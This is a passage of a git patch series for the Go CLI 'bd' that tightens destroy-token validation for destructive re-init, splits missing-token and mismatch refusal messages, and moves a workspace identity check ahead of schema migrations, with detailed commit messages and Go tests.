majors, scorecard approve). Takes the three non-gating minors and the nit that live in the file this PR already changes. 1. Debuggability (claude+codex, minor). Making CheckRemoteSafety validate a supplied token newly routes interactive callers into refusalMessageTokenMissing(), whose text is written for the non-interactive path: it says "requires an explicit destroy-token in non-interactive mode" and advises "re-run interactively ... and confirm at the prompt". That advice cannot work for them -- the prompt at init.go:3139 is gated on destroyToken == "" -- so a user who typo'd a token re-runs into the identical exit 12 forever. A reword could only make the one string vaguer, so token PRESENCE is now carried into the decision: refusalMessageTokenMismatch() for a supplied-but-wrong token (reachable in both modes; its remedy is to fix the token or drop the flag to be prompted), and the existing message, byte-for-byte unchanged, for the no-token case. That case is now reachable only non-interactively, so its "non-interactive mode" framing and its prompt advice are both exactly true again -- and docs/recovery/init-safety.md:96, which reproduces that text under `init-token-missing`, stays accurate. Reason splits to destroy-token-missing / destroy-token-mismatch (grep: no consumer; the only Reason any caller reads is "authorized-divergence"). 2. Contract fidelity (claude+codex, minor). The three doc comments that now state the opposite of the code -- ActionRequireDestroyToken, IsInteractive, and ExitDestroyTokenMissing's "all three sources" -- are updated to the token-presence rule, matching the correct inline comment this PR added at the change site. This file is the ADR-0002 chokepoint, so its comments are the contract future flags are read against. 3. Test evidence (codex, minor). handleRemoteSafetyDecision had zero test references repo-wide while the bug was the composition of the decision with the prompt gate. TestHandleRemoteSafetyDecision_RefusalSeam pins the refusal half: a refusal aborts with its exit code, never reaches the prompt, and leaves the cross-checkpoint *confirmed latch alone. The token-ABSENT prompt arm is deliberately NOT pinned: it is gated on term.IsTerminal(os.Stdin), false under `go test`, so asserting "no prompt" there would pass no matter what the token gate said. That half needs a PTY or a TTY-detection seam; left as follow-up rather than landing a vacuous pin for a coverage finding. 4. Nit: the token-without-expected matrix case is annotated defensive / unreachable from current callers, so a later reader does not cite it as live-path evidence. Every new pin was proven non-vacuous by mutation, each hitting only its own arm: forcing the selector back to the conflated message reddens the three token-supplied cases and leaves no-token green; dropping ActionRequireDestroyToken from the seam's case label reddens only the exit-12 subtest; removing "drop --destroy-token" from the new message reddens the remedy assertion. Out of scope, deliberately: no change to docs/recovery/init-safety.md (the string it documents is unchanged and its scenario still accurate; a wrong-token symptom entry is follow-up), and no attempt at the pre-existing asymmetry between the remote and local re-init guards. Validation: go vet ./cmd/bd clean; the full init_safety_test.go suite green at head (16 pass, 1 pre-existing unconditional skip). --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Julian Knutsen --- cmd/bd/init_safety.go | 96 +++++++++++---- cmd/bd/init_safety_test.go | 236 +++++++++++++++++++++++++++++++++++++ 2 files changed, 310 insertions(+), 22 deletions(-) diff --git a/cmd/bd/init_safety.go b/cmd/bd/init_safety.go index 2d77066be..a9631e639 100644 --- a/cmd/bd/init_safety.go +++ b/cmd/bd/init_safety.go @@ -34,14 +34,17 @@ const ( // local-safety guard with an ordinary error, not this code. ExitLocalExistsRefused = 11 - // ExitDestroyTokenMissing signals a destructive re-init was requested - // in non-interactive mode without a valid `--destroy-token`: either - // `--discard-remote`, or `--reinit-local` over existing local issues. - // The caller must look up the token format via `bd help init-safety`. - // It is also returned when the interactive `--discard-remote` typed-token - // confirmation is declined at the prompt, so a 12 does not on its own - // prove the caller was non-interactive. Supplying the token is the - // correct remedy for all three sources. + // ExitDestroyTokenMissing signals a destructive re-init was refused for + // want of a valid `--destroy-token`. Four sources: + // 1. non-interactive `--discard-remote` with no token; + // 2. non-interactive `--reinit-local` over existing local issues; + // 3. `--discard-remote` with a supplied token that does not match, in + // EITHER mode — a token that WAS supplied is always validated (#6480); + // 4. the interactive `--discard-remote` typed-token confirmation + // declined at the prompt. + // So a 12 does not on its own prove the caller was non-interactive. + // Supplying the matching token is the correct remedy for sources 1-3 + // (format via `bd help init-safety`); source 4 was a deliberate decline. ExitDestroyTokenMissing = 12 ) @@ -65,9 +68,11 @@ const ( ActionRefuseDivergence // ActionRequireDestroyToken — caller passed `--discard-remote` but - // destroy-token validation failed (non-interactive path with no token, - // or wrong token). Refuse with `ExitDestroyTokenMissing`. The - // interactive path should prompt for confirmation instead. + // destroy-token validation failed: either a non-interactive caller + // supplied no token, or a token WAS supplied — in either mode — and did + // not match. Refuse with `ExitDestroyTokenMissing`. An interactive + // caller that supplied NO token does not land here: it gets + // ActionProceedWithDivergence and must prompt for confirmation instead. ActionRequireDestroyToken // ActionProceedWithDivergence — caller passed `--discard-remote` and @@ -103,10 +108,12 @@ type RemoteSafetyInput struct { RemoteHasDoltData bool // IsInteractive is true when the caller is attached to a TTY. - // Interactive callers can prompt for destroy-token confirmation; the - // decision returned for interactive callers assumes they will prompt - // (so ActionProceedWithDivergence can be returned without a token - // match — the caller must do the prompt itself). + // Interactive callers can prompt for destroy-token confirmation, so the + // decision returned for an interactive caller that supplied NO token + // assumes it will prompt (ActionProceedWithDivergence is returned + // without a token match — the caller must do the prompt itself). A + // token that WAS supplied is always validated regardless of this field: + // the caller's prompt only fires when no token was given (#6480). IsInteractive bool } @@ -156,15 +163,29 @@ func CheckRemoteSafety(in RemoteSafetyInput) RemoteSafetyDecision { } } - // User authorized. Interactive callers prompt; non-interactive must - // supply a matching destroy-token. - if !in.IsInteractive { + // User authorized. Non-interactive callers must supply a matching + // destroy-token. Interactive callers that supplied no token defer to the + // typed-confirmation prompt, but a token that WAS supplied is always + // validated: the caller's prompt only fires when no token was given, so + // an unvalidated wrong token would skip every confirmation (#6480). + if !in.IsInteractive || in.DestroyToken != "" { if in.ExpectedToken == "" || in.DestroyToken != in.ExpectedToken { + // Carry token PRESENCE into the refusal. The two cases have + // different remedies and only one of them can be reached + // interactively, so a single conflated message necessarily + // misdirects one of them: telling a user who supplied a wrong + // token to "re-run interactively and confirm at the prompt" + // loops them through the identical refusal forever, because the + // prompt is gated on no token being supplied. + reason, message := "destroy-token-missing", refusalMessageTokenMissing() + if in.DestroyToken != "" { + reason, message = "destroy-token-mismatch", refusalMessageTokenMismatch() + } return RemoteSafetyDecision{ Action: ActionRequireDestroyToken, - Reason: "destroy-token-missing-or-wrong", + Reason: reason, ExitCode: ExitDestroyTokenMissing, - UserMessage: refusalMessageTokenMissing(), + UserMessage: message, } } } @@ -196,8 +217,15 @@ func refusalMessageDivergence() string { } // refusalMessageTokenMissing returns the What/Why/Next refusal text for -// the `--discard-remote` + missing/wrong destroy-token case. Deliberately -// does not echo the token value. +// `--discard-remote` with NO destroy-token supplied. That combination is +// reachable only from a non-interactive caller — an interactive one with no +// token defers to the typed-confirmation prompt — so both the +// "non-interactive mode" framing and the "re-run interactively" remedy are +// accurate here. A supplied-but-wrong token gets +// refusalMessageTokenMismatch() instead, where that remedy would be a dead +// end. The text is reproduced in docs/recovery/init-safety.md under +// `init-token-missing`; keep them in sync. Deliberately does not echo the +// token value. func refusalMessageTokenMissing() string { return `bd init refuses: --discard-remote requires an explicit destroy-token in non-interactive mode. @@ -210,6 +238,30 @@ func refusalMessageTokenMissing() string { Or re-run interactively (attached to a TTY) and confirm at the prompt.` } +// refusalMessageTokenMismatch returns the What/Why/Next refusal text for +// `--discard-remote` with a destroy-token that was supplied but does not +// match. Unlike the missing-token case this is reachable in BOTH modes, so +// its Next must hold on a TTY too: re-running interactively with the same +// token repeats this refusal, because the typed-confirmation prompt fires +// only when no token was given. Dropping the flag is the remedy that +// actually reaches the prompt. Deliberately does not echo the token value. +func refusalMessageTokenMismatch() string { + return `bd init refuses: the supplied --destroy-token does not match this project's token. + + Why: Destructive cross-boundary operations cannot be authorized + silently, and a token that does not match is not authorization. + The expected token is derived from the issue prefix; this refusal + deliberately does not echo it. + + Next: + See 'bd help init-safety' for the destroy-token format, then re-run + with the matching value. + + Or drop --destroy-token entirely and re-run interactively (attached + to a TTY): with no token supplied, bd asks for typed confirmation at + the prompt instead.` +} + // FormatDestroyToken returns the destroy-token the caller should supply // for a given issue prefix. Callers that need to surface this to users // should do so via `bd help init-safety` or `docs/recovery/init-safety.md` — NOT via diff --git a/cmd/bd/init_safety_test.go b/cmd/bd/init_safety_test.go index 8119006fe..f04647c6b 100644 --- a/cmd/bd/init_safety_test.go +++ b/cmd/bd/init_safety_test.go @@ -279,6 +279,52 @@ func TestCheckRemoteSafety_GuardMatrix(t *testing.T) { RemoteSafetyInput{RemoteHasDoltData: true, DiscardRemote: true, IsInteractive: true}, ActionProceedWithDivergence, 0, }, + + // INTERACTIVE with a supplied-but-WRONG token (#6480): the token must + // still be validated. The caller's typed-confirmation prompt only + // fires when NO token was supplied, so skipping validation here would + // discard the remote with no confirmation of any kind. + { + "remote/discard-remote/interactive/wrong-token", + RemoteSafetyInput{ + RemoteHasDoltData: true, DiscardRemote: true, IsInteractive: true, + DestroyToken: "WRONG", ExpectedToken: "DESTROY-bd", + }, + ActionRequireDestroyToken, ExitDestroyTokenMissing, + }, + // INTERACTIVE with a token but no expected token to compare against: + // nothing can validate it, so refuse rather than fall to the prompt. + // DEFENSIVE: unreachable from current callers — all three call sites + // pass ExpectedToken: FormatDestroyToken(prefix), which is never + // empty. This pins the fail-closed arm of a pure function; it is not + // evidence about any live path (only wrong-token above is). + { + "remote/discard-remote/interactive/token-without-expected", + RemoteSafetyInput{ + RemoteHasDoltData: true, DiscardRemote: true, IsInteractive: true, + DestroyToken: "WRONG", + }, + ActionRequireDestroyToken, ExitDestroyTokenMissing, + }, + // INTERACTIVE with a MATCHING token: the token is the authorization. + { + "remote/discard-remote/interactive/matching-token", + RemoteSafetyInput{ + RemoteHasDoltData: true, DiscardRemote: true, IsInteractive: true, + DestroyToken: "DESTROY-bd", ExpectedToken: "DESTROY-bd", + }, + ActionProceedWithDivergence, 0, + }, + // INTERACTIVE with NO token supplied (expected token known): unchanged + // — the decision defers to the TTY typed-confirmation prompt. + { + "remote/discard-remote/interactive/no-token-with-expected", + RemoteSafetyInput{ + RemoteHasDoltData: true, DiscardRemote: true, IsInteractive: true, + ExpectedToken: "DESTROY-bd", + }, + ActionProceedWithDivergence, 0, + }, } for _, tc := range cases { @@ -298,6 +344,196 @@ func TestCheckRemoteSafety_GuardMatrix(t *testing.T) { } } +// TestCheckRemoteSafety_TokenRefusalDistinguishesPresence pins which refusal +// text each exit-12 path gets. The distinction is load-bearing, not cosmetic: +// the missing-token message tells the user to "re-run interactively ... and +// confirm at the prompt", and that remedy only works when NO token was +// supplied, because the caller's typed-confirmation prompt is gated on +// destroyToken == "" (init.go:3139). Handing it to a user who supplied a +// wrong token sends them around the identical refusal forever. +func TestCheckRemoteSafety_TokenRefusalDistinguishesPresence(t *testing.T) { + cases := []struct { + name string + in RemoteSafetyInput + wantReason string + wantSupplied bool + }{ + { + "non-interactive/no-token", + RemoteSafetyInput{RemoteHasDoltData: true, DiscardRemote: true, ExpectedToken: "DESTROY-bd"}, + "destroy-token-missing", false, + }, + { + "non-interactive/wrong-token", + RemoteSafetyInput{ + RemoteHasDoltData: true, DiscardRemote: true, + DestroyToken: "WRONG", ExpectedToken: "DESTROY-bd", + }, + "destroy-token-mismatch", true, + }, + { + "interactive/wrong-token", + RemoteSafetyInput{ + RemoteHasDoltData: true, DiscardRemote: true, IsInteractive: true, + DestroyToken: "WRONG", ExpectedToken: "DESTROY-bd", + }, + "destroy-token-mismatch", true, + }, + { + // Defensive arm (see the guard matrix): a token was still + // supplied, so it gets the mismatch text. + "interactive/token-without-expected", + RemoteSafetyInput{ + RemoteHasDoltData: true, DiscardRemote: true, IsInteractive: true, + DestroyToken: "WRONG", + }, + "destroy-token-mismatch", true, + }, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + got := CheckRemoteSafety(tc.in) + if got.Action != ActionRequireDestroyToken { + t.Fatalf("Action = %v, want ActionRequireDestroyToken", got.Action) + } + if got.Reason != tc.wantReason { + t.Errorf("Reason = %q, want %q", got.Reason, tc.wantReason) + } + wantMsg := refusalMessageTokenMissing() + if tc.wantSupplied { + wantMsg = refusalMessageTokenMismatch() + } + if got.UserMessage != wantMsg { + t.Errorf("UserMessage =\n%s\n\nwant\n%s", got.UserMessage, wantMsg) + } + // The defect this pins: the "re-run interactively and confirm + // at the prompt" remedy must never reach a caller who supplied + // a token, since the prompt cannot fire for them. + if tc.wantSupplied && got.UserMessage == refusalMessageTokenMissing() { + t.Errorf("token-supplied refusal got the missing-token text, whose remedy is unreachable here:\n%s", got.UserMessage) + } + }) + } + + if refusalMessageTokenMissing() == refusalMessageTokenMismatch() { + t.Error("the two token refusals are identical, so token presence is not actually carried") + } + // The mismatch remedy must name the reachable escape: drop the flag to + // be prompted. Without this the message is merely vaguer, not correct. + if !strings.Contains(refusalMessageTokenMismatch(), "drop --destroy-token") { + t.Errorf("mismatch refusal does not offer the reachable remedy (drop the flag, get prompted):\n%s", refusalMessageTokenMismatch()) + } +} + +// TestCheckRemoteSafety_TokenRefusalTextNoEcho extends the ADR error-message +// contract to both destroy-token refusals. TestCheckRemoteSafety_RefusalTextNoEcho +// below covers only the divergence message, whose assertions (bd bootstrap, +// --from-jsonl) are specific to it. +func TestCheckRemoteSafety_TokenRefusalTextNoEcho(t *testing.T) { + msgs := map[string]string{ + "missing": refusalMessageTokenMissing(), + "mismatch": refusalMessageTokenMismatch(), + } + bannedEchoes := []string{ + "bd init --force --discard-remote --destroy-token", + "bd init --reinit-local --discard-remote --destroy-token", + "DESTROY-", + } + for name, msg := range msgs { + for _, banned := range bannedEchoes { + if strings.Contains(msg, banned) { + t.Errorf("%s refusal contains destructive echo %q:\n%s", name, banned, msg) + } + } + if !strings.Contains(msg, "bd help init-safety") { + t.Errorf("%s refusal does not point to 'bd help init-safety':\n%s", name, msg) + } + } +} + +// TestHandleRemoteSafetyDecision_RefusalSeam pins the caller half of the +// #6480 composition. CheckRemoteSafety's guard matrix proves the decision; +// this proves the decision is honored at the seam — that a refusal aborts +// with its exit code and never reaches the typed-confirmation prompt, and +// that it leaves the cross-checkpoint *confirmed latch alone. Before this, +// handleRemoteSafetyDecision had zero test references repo-wide. +// +// Not covered here: the token-ABSENT prompt arm (init.go:3139). It is gated +// on term.IsTerminal(os.Stdin), which is false under `go test`, so asserting +// "no prompt" for it would pass no matter what the token gate said — a +// vacuous pin. Reaching it needs a PTY or a TTY-detection seam; both exceed +// this change. The arms below discriminate without one. +func TestHandleRemoteSafetyDecision_RefusalSeam(t *testing.T) { + cases := []struct { + name string + decision RemoteSafetyDecision + wantBootstrap bool + wantExit int // 0 = expect nil error + }{ + { + "require-destroy-token aborts with 12", + RemoteSafetyDecision{ + Action: ActionRequireDestroyToken, Reason: "destroy-token-mismatch", + ExitCode: ExitDestroyTokenMissing, UserMessage: "refusal", + }, + false, ExitDestroyTokenMissing, + }, + { + "refuse-divergence aborts with 10", + RemoteSafetyDecision{ + Action: ActionRefuseDivergence, Reason: "force-without-discard-remote", + ExitCode: ExitRemoteDivergenceRefused, UserMessage: "refusal", + }, + false, ExitRemoteDivergenceRefused, + }, + { + "bootstrap adopts the remote", + RemoteSafetyDecision{Action: ActionBootstrap, Reason: "bootstrap-from-remote"}, + true, 0, + }, + { + // A matching token IS the authorization: proceed, no abort. + "authorized divergence proceeds", + RemoteSafetyDecision{Action: ActionProceedWithDivergence, Reason: "authorized-divergence"}, + false, 0, + }, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + confirmed := false + // destroyToken non-empty keeps the prompt arm shut on its own + // terms rather than relying on the harness lacking a TTY. + bootstrap, err := handleRemoteSafetyDecision( + tc.decision, "bd", "git+https://example.invalid/repo.git", + "DESTROY-bd", nil, true, &confirmed, + ) + if bootstrap != tc.wantBootstrap { + t.Errorf("bootstrap = %v, want %v", bootstrap, tc.wantBootstrap) + } + if tc.wantExit == 0 { + if err != nil { + t.Errorf("err = %v, want nil", err) + } + } else { + code, ok := exitCodeFromError(err) + if !ok { + t.Fatalf("err = %v, want an *exitError with code %d", err, tc.wantExit) + } + if code != tc.wantExit { + t.Errorf("exit code = %d, want %d", code, tc.wantExit) + } + } + // A refusal must not silently satisfy a later checkpoint's + // "already confirmed" short-circuit. + if confirmed { + t.Error("confirmed latch was set without a typed confirmation") + } + }) + } +} + // TestCheckRemoteSafety_RefusalTextNoEcho enforces the error-message // contract: runtime refusal text must not echo a complete destructive // invocation. A copy-pasteable command in the error is the failure class From cb5ae7706135b7c14774f1c1be6ff2c42bc4ee21 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Sat, 26 Sep 2026 14:06:59 -0700 Subject: [PATCH 112/624] fix(cmd/bd): run workspace identity check before applying schema migrations (#6674) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(feat): red — bd migrate schema advances schema_migrations before refusing an identity mismatch (refs be-0gfcs) validateWorkspaceIdentity runs after the shared pre-run has already opened the store and let the smart gate auto-apply a pending schema migration. The refusal (exit 1, mismatch message) is correct but arrives too late: schema_migrations has already advanced. New embedded-mode CLI integration test reproduces this by regressing schema_migrations one version and corrupting _project_id, then asserting the cursor is unchanged after a refused `bd migrate schema` -- it currently is not. * feat: green — bd migrate schema applies migrations BEFORE the workspace identity check refuses — the guard cannot prevent what it is guarding against (refs be-0gfcs) * test(feat): red — Review: bd migrate schema applies migrations BEFORE the workspace identity check refuses — the guard cannot prevent what it is guarding against (refs be-3bt2e) * feat: green — Review: bd migrate schema applies migrations BEFORE the workspace identity check refuses — the guard cannot prevent what it is guarding against (refs be-3bt2e) * fix(main): render typed open errors from the identity gate's refusal arm Maintainer review fixup for PR #6674 (adopt-pr iteration 1). Synthesis decision is request_changes with two majors and several non-gating minors. MAJOR 1 (fixed) — the gate's `default:` arm refused with a bare HandleError, so every typed open error the PREVIEW hits was reported as this gate's generic wrapper. That is two regressions against base, where the same classes surfaced from the real open and were rendered properly: (a) `bd --json` exited 1 with unstructured stderr and NO JSON body — a machine contract break for every JSON consumer; (b) the appended `BEADS_SKIP_IDENTITY_CHECK=1` hint is actively wrong for those classes, since skipping the gate leaves the real open failing identically. It matters most for schema skew: the preview runs CheckForwardDrift, so the recurring stale-binary class (#4135/#4137) now fails the preview first, and SchemaSkewError.UserMessage()'s actionable rebuild block was being replaced by a generic line plus a dead-end hint. handleFreshCloneError, RemoteMigrateGateError and the server-mode projectIdentityMismatchError refusal were bypassed the same way. The arm now mirrors the real-open arm — handleFreshCloneError, then renderTypedOpenError — before falling back to HandleErrorRespectJSON, so --json callers still get a structured body, and the override hint now lives only on the generic arm and says what it actually does. Extracted as refuseUnverifiablePreviewOpen so both halves are testable without standing up a forward-drifted workspace. Pinned by TestRefuseUnverifiablePreviewOpenRendersTypedErrors: a skew keeps its own UX and does NOT advertise the override; a skew under --json emits a schema_skew body with current/required/delta; a preview-specific error keeps the generic message, keeps the override hint, and still emits a JSON body. Proven non-vacuous — restoring the pre-fix shape (typed renderers bypassed) fails it. Note the two arms write their JSON to different streams (handleSchemaSkewJSON to stderr, HandleErrorRespectJSON to stdout); that split is pre-existing and the test documents rather than changes it. MAJOR 2 (deliberately not fixed here; filed with a measurement as mc-wbso0) — the gate is unscoped, and server mode already had the pre-migration identity guarantee (dolt/store.go:2030-2062 runs verifyProjectIdentity before initSchema at :2067). The reviewer offered scoping OR, explicitly, "keep the gate unconditional, fix Finding 1, and file the duplicate-open cost as a tracked follow-up with a measurement — not to leave both unaddressed". Taking the sanctioned alternative, because scoping carries two caveats neither reviewer priced (server-mode verification is itself conditional on `!cfg.CreateIfMissing || dbFacts.alreadyExisted`; gateway server mode is deliberately excluded from identity enforcement) and it changes hot-path startup behavior for every write command — not a change to guess at mid-adoption. Measured rather than asserted, on a healthy embedded workspace (ambient beads env unset, 2 warmup runs discarded, 8 runs of `bd config set` each way): WITH gate median 0.329s (mean 0.332, 0.317-0.362) WITHOUT gate median 0.290s (mean 0.292, 0.277-0.314) => +39ms, +14% of un-gated startup, spreads non-overlapping. That number is in mc-wbso0 along with both caveats. Also took one non-gating minor while in the file: the refusal test saved the `store` global but never zeroed it, so its closing `store != nil` assertion could pass or fail on a leftover from an earlier test. `store = nil` added. Validation: git diff --check clean; gofmt clean; go build ./... clean; go vet ./cmd/bd/ clean; golangci-lint v2.10.1 (pr.yml's pin) 0 issues; the gate's full test surface under CI's own flags (-tags gms_pure_go -race -short) 13 PASS 0 FAIL 0 SKIP, with no shared-TMPDIR sweep damage. ITERATION 2 — synthesis and scorecard both `approve`, `Required Changes: None`, four minors. Took all four; none is a merge gate, and the fixup commit already exists so none of them costs an extra push. 1. The doc comment on refuseUnverifiablePreviewOpen overstated its own coverage: it named four typed classes as "rendered exactly as the real-open arm renders them", but only schema skew can actually arrive typed from a preview. Verified each claim before rewriting the comment rather than trusting the review: handleFreshCloneError matches a post-migration string (`main_errors.go`) a non-mutating preview never produces, and both CheckRemoteMigrateGate* call sites (`embeddeddolt/store.go:442`, `dolt/store.go:3073`) are on mutating opens, never openReadOnly. projectIdentityMismatchError is a plain fmt.Errorf with no typed wrapper, so it falls to the generic arm and picks up its prefix — which matches base, where it reached the operator inside the real arm's "failed to open database: %v" wrapper. The comment now says that, names the other two calls as defensive-for-symmetry with the reason each cannot fire, and flags that handleFreshCloneError ignores jsonOutput, so making it reachable would break the --json guarantee this fix established. 2. Pinned the preview→skew WIRE, not just the renderer. TestRefuseUnverifiablePreviewOpenRendersTypedErrors hand-builds a SchemaSkewError, so it could stay green while a change to the preview's drift check moved skew back onto the generic arm — the durability gap that mattered most, since the wire is this fix's whole premise. New TestIdentityGateRendersSchemaSkewFromForwardDriftedWorkspace bootstraps a real embedded workspace, stages one schema_migrations row above the binary's latest, and drives rootCmd.PersistentPreRunE end to end, asserting the skew UX arrives and the generic identity wrapper does not. Reuses the package's existing withEmbeddedMigrateSQL helper. Counterfactual run: restoring the pre-fix bare-HandleError arm reds it on exactly the three regression assertions, printing the original bug verbatim (generic wrapper swallowing the rebuild block, plus the dead-end BEADS_SKIP_IDENTITY_CHECK hint) at a real measured v68-vs-v67 drift. 3. Re-filed the MAJOR 2 tracking artifact as bd-ocmut in the beads rig store and closed mc-wbso0 as superseded. The body was complete and correct; only the routing was wrong — the finding is about beads repo code (cmd/bd), and beads-code PR follow-ups are triaged from the beads rig store, not maintainer-city. Also added a maintainer-notes section to the PR body carrying the deferral, the +39ms measurement and the bd-ocmut pointer, so the condition the deferral rests on is discoverable in-band rather than only out-of-band. 4. isBootstrapPreviewErr breadth is now explicitly on the deferral list below; it had been dropped from it without acknowledgment, which is how a checklist item vanishes at finalize. Tracked remainder, deliberately deferred (all non-gating across both iterations): - isBootstrapPreviewErr is still bare errors.Is(err, os.ErrNotExist), so it accepts any ENOENT-wrapped dial failure, not just "no database directory"; its table test pins only a fabricated negative. Message-contract weakening, not a safety hole, and no in-tree backend registers. - a non-nil fake for TestValidateWorkspaceIdentity_NonexistentDir - the nil-guard precondition on validateWorkspaceIdentity's doc comment - the embedded-tier-only reproduction pins now noted in the PR body Validation (iteration 2): gofmt clean; go build ./... clean; go vet ./cmd/bd/ clean; CGO_ENABLED=0 go vet -tags gms_pure_go ./cmd/bd/ clean (the new file is cgo-tagged, so the no-cgo lane must still compile); golangci-lint v2.10.1 (pr.yml's pin) 0 issues; git diff --check clean. Gate surface run per-test to avoid shared-rootCmd batch false-reds: 13 PASS 0 FAIL under CI's own flags (-tags gms_pure_go -race -short), and the 3 embedded-tier tests all PASS with BEADS_TEST_EMBEDDED_DOLT=1 (new pin 5.3s, fresh-workspace 4.0s, migrate-order 25.2s) — no silent skips. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5 --- cmd/bd/identity_preview_gate_cgo_test.go | 238 +++++++++++++++++++ cmd/bd/identity_preview_gate_test.go | 128 ++++++++++ cmd/bd/identity_preview_refusal_test.go | 121 ++++++++++ cmd/bd/main.go | 146 ++++++++++-- cmd/bd/migrate_schema_identity_order_test.go | 90 +++++++ cmd/bd/workspace_identity_test.go | 22 +- 6 files changed, 717 insertions(+), 28 deletions(-) create mode 100644 cmd/bd/identity_preview_gate_cgo_test.go create mode 100644 cmd/bd/identity_preview_gate_test.go create mode 100644 cmd/bd/identity_preview_refusal_test.go create mode 100644 cmd/bd/migrate_schema_identity_order_test.go diff --git a/cmd/bd/identity_preview_gate_cgo_test.go b/cmd/bd/identity_preview_gate_cgo_test.go new file mode 100644 index 000000000..dd06bcb12 --- /dev/null +++ b/cmd/bd/identity_preview_gate_cgo_test.go @@ -0,0 +1,238 @@ +//go:build cgo + +package main + +import ( + "bytes" + "database/sql" + "fmt" + "io" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/spf13/cobra" + + "github.com/steveyegge/beads/internal/config" + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/debug" + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/storage/schema" +) + +// TestPersistentPreRunLogsAndSkipsIdentityCheckForFreshEmbeddedWorkspace is +// the MINOR-criterion regression test for be-0gfcs round 2 (be-3bt2e): a +// brand-new workspace -- metadata.json present, but no embedded database on +// disk yet -- is the one previewErr case the identity check has always +// tolerated. It must still emit a debug-visible log line explaining why it +// was skipped, so the skip is diagnosable under BD_DEBUG/--verbose instead of +// looking identical to "the check silently ran and found nothing wrong." +// +// This exercises a real embedded-Dolt bootstrap (schema init on first open), +// so it is opt-in like the other embedded-dolt integration tests in this +// package: set BEADS_TEST_EMBEDDED_DOLT=1 to run it. +func TestPersistentPreRunLogsAndSkipsIdentityCheckForFreshEmbeddedWorkspace(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + + repoDir := t.TempDir() + beadsDir := filepath.Join(repoDir, ".beads") + writeTestConfigYAML(t, beadsDir, "") + // No .beads/embeddeddolt data dir: newPreviewStoreFromConfig's embedded + // open fails with a wrapped os.ErrNotExist -- the legitimate first-run + // condition this check must keep skipping (silently, save for the debug + // log line under test here). + writeMetadataConfig(t, beadsDir, configfile.DoltModeEmbedded, "identity_gate_bootstrap_test") + + t.Chdir(repoDir) + t.Setenv("BEADS_DIR", beadsDir) + t.Setenv("BEADS_DOLT_SHARED_SERVER", "") + t.Setenv("BEADS_DOLT_SERVER_DATABASE", "") + t.Setenv("BEADS_DOLT_SERVER_PORT", "") + t.Setenv("BEADS_DOLT_AUTO_START", "0") + t.Setenv("BEADS_SKIP_IDENTITY_CHECK", "") + + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + savePersistentPreRunState(t) + + oldStore := store + t.Cleanup(func() { store = oldStore }) + + // PersistentPreRunE itself calls debug.SetVerbose(verboseFlag) before + // reaching the identity check (main.go), which would silently overwrite + // this with the zero-value verboseFlag=false -- this test calls + // PersistentPreRunE directly, bypassing the cobra flag parsing that + // would otherwise populate verboseFlag from a real -v/--verbose flag. + oldVerboseFlag := verboseFlag + verboseFlag = true + t.Cleanup(func() { verboseFlag = oldVerboseFlag }) + debug.SetVerbose(true) + t.Cleanup(func() { debug.SetVerbose(false) }) + + if rootCmd.PersistentPreRunE == nil { + t.Fatal("rootCmd.PersistentPreRunE must be set") + } + + // Named "import", not a distinct probe name: beads.FindDatabasePath() + // legitimately returns "" for this exact on-disk state (metadata.json + // present, no .beads/embeddeddolt/ yet -- see findDatabaseInBeadsDir), + // and PersistentPreRunE's earlier, unrelated "no beads database found" + // gate (main.go) refuses any command whose name isn't "import" or + // "setup" before it ever reaches the identity check under test here. + // "import" is also the realistic case: it is the one command documented + // to auto-initialize a missing database, so it is the command a fresh + // embedded workspace's first invocation would actually be. rootCmd + // already has a real import command registered under the same name; + // that's harmless here since PersistentPreRunE only ever compares + // cmd.Name() as a string (never looks a sibling up by name), and + // RemoveCommand below matches this probe by pointer identity, not name. + probe := &cobra.Command{ + Use: "import", + RunE: func(*cobra.Command, []string) error { return nil }, + } + rootCmd.AddCommand(probe) + t.Cleanup(func() { rootCmd.RemoveCommand(probe) }) + + oldStderr := os.Stderr + r, w, pipeErr := os.Pipe() + if pipeErr != nil { + t.Fatalf("os.Pipe: %v", pipeErr) + } + os.Stderr = w + + err := rootCmd.PersistentPreRunE(probe, nil) + + w.Close() + os.Stderr = oldStderr + var captured bytes.Buffer + io.Copy(&captured, r) //nolint:errcheck // best-effort drain of a test pipe + + if err != nil { + t.Fatalf("PersistentPreRunE on a fresh embedded workspace: %v\nstderr:\n%s", err, captured.String()) + } + + const wantMarker = "workspace identity check: skipping" + if !strings.Contains(captured.String(), wantMarker) { + t.Errorf("expected a debug log line containing %q noting the identity check was skipped for a fresh workspace, got stderr:\n%s", wantMarker, captured.String()) + } +} + +// TestIdentityGateRendersSchemaSkewFromForwardDriftedWorkspace pins the +// preview→skew WIRE, which TestRefuseUnverifiablePreviewOpenRendersTypedErrors +// deliberately does not: that test hands refuseUnverifiablePreviewOpen a +// hand-built *schema.SchemaSkewError, so it pins the renderer in isolation. +// +// The premise the renderer rests on is that a forward-drifted workspace now +// fails the PREVIEW open (OpenForPreviewCommand runs CheckForwardDrift) rather +// than the real one. Nothing pinned that link: a change to the preview's drift +// check, or to which factory arm the gate calls, would move skew back onto the +// generic arm -- restoring the exact regression this fix removed -- with every +// renderer subtest still green. So drive it end to end instead, from a real +// workspace whose schema cursor is ahead of this binary through +// rootCmd.PersistentPreRunE. +// +// This bootstraps a real embedded-Dolt database, so it is opt-in on the same +// tier as the sibling above: set BEADS_TEST_EMBEDDED_DOLT=1 to run it. +func TestIdentityGateRendersSchemaSkewFromForwardDriftedWorkspace(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + + const database = "identity_gate_skew_test" + ctx := t.Context() + + repoDir := 